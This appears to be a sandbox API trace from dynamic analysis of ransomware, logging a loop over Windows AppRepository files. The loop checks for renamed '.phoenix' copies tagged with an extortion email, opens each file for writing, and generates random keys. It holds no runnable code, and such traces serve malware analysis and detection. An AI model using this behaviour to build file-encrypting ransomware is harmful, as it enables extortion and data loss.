	[0250.930] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=833) returned 1
	[0250.930] CloseHandle (hObject=0x2c8) returned 1
	[0250.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.930] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.930] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.930] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.930] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=9140) returned 1
	[0250.931] CloseHandle (hObject=0x2c8) returned 1
	[0250.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.931] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.931] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.931] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.931] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=18273) returned 1
	[0250.931] CloseHandle (hObject=0x2c8) returned 1
	[0250.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.931] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.932] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.932] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.932] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=17999) returned 1
	[0250.932] CloseHandle (hObject=0x2c8) returned 1
	[0250.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.932] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.932] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.932] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.933] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=842) returned 1
	[0250.933] CloseHandle (hObject=0x2c8) returned 1
	[0250.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.933] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.933] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.933] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.933] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=841) returned 1
	[0250.933] CloseHandle (hObject=0x2c8) returned 1
	[0250.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.934] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.934] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.934] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.934] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=841) returned 1
	[0250.934] CloseHandle (hObject=0x2c8) returned 1
	[0250.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.934] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.935] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.935] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.935] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3307) returned 1
	[0250.935] CloseHandle (hObject=0x2c8) returned 1
	[0250.935] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.935] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.935] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.935] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.935] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.936] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=17928) returned 1
	[0250.936] CloseHandle (hObject=0x2c8) returned 1
	[0250.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.936] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.064] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.064] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.064] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=17884) returned 1
	[0251.064] CloseHandle (hObject=0x2d4) returned 1
	[0251.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.064] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.064] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.064] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.065] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=26678) returned 1
	[0251.065] CloseHandle (hObject=0x2d4) returned 1
	[0251.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.065] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.065] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.065] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_3.6.13251.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_3.6.13251.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.065] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=838) returned 1
	[0251.065] CloseHandle (hObject=0x2d4) returned 1
	[0251.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_3.6.13251.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_3.6.13251.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_3.6.13251.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_3.6.13251.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.065] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_3.6.13251.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_3.6.13251.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.066] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.066] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.066] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8192) returned 1
	[0251.066] CloseHandle (hObject=0x2d4) returned 1
	[0251.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0251.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
